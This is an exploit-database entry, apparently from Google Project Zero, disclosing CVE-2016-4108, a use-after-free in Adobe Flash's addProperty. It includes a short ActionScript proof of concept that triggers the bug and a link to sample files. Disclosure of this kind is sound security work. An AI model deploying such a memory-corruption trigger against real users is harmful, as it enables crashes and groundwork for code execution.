Adobe Flash - addProperty Use-After-Free

Author: Google Security Research
type: dos
platform: multiple
port: 
date_added: 2016-05-17 
date_updated: 2016-05-17 
verified: 1 
codes: CVE-2016-4108 
tags: 
aliases:  
screenshot_url:  
application_url: 

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801

There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.

A minimal PoC follows:

var t = this.createEmptyMovieClip( "t", 1);
t.watch("a", func);
t.addProperty("a", func, func);

function func(){

	trace("a");

	}

A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39830.zip